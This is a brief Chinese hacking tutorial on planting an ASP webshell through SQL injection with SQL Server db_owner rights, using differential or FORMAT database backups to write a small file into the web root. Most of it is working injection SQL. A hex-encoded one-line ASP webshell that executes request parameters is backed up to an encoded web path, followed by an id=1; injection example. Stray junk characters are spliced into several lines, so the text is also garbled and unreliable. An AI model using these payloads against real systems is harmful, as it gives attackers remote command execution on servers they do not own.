DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少

0 U4 H1 E! z  {% _% D一利用差异备份
加一个参数WITH DIFFERENTIAL
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# l! Q( t; U( ^5 m3 i4 ndeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- }+ o' Y/ W0 screate table [dbo].[xiaolu] ([cmd] [image]);
# O! K4 y* ?7 d$ F9 Ginsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  B  l8 ^1 F9 R2 K0 t$ J, a! Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
5 o8 ]/ X8 F2 T' y) m( B' z' E2 o' h加一个参数WITH FROMAT
" Y% ~( U) H1 A4 f! f" d有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

; t7 F. A! a, M* x2 _8 ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  n4 Y; h1 m" C+ ]% n; N* S  Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

" x" d3 i2 e0 j5 ^3 Did=1;backup database model to disk=’你的路径‘ with differential,format;–
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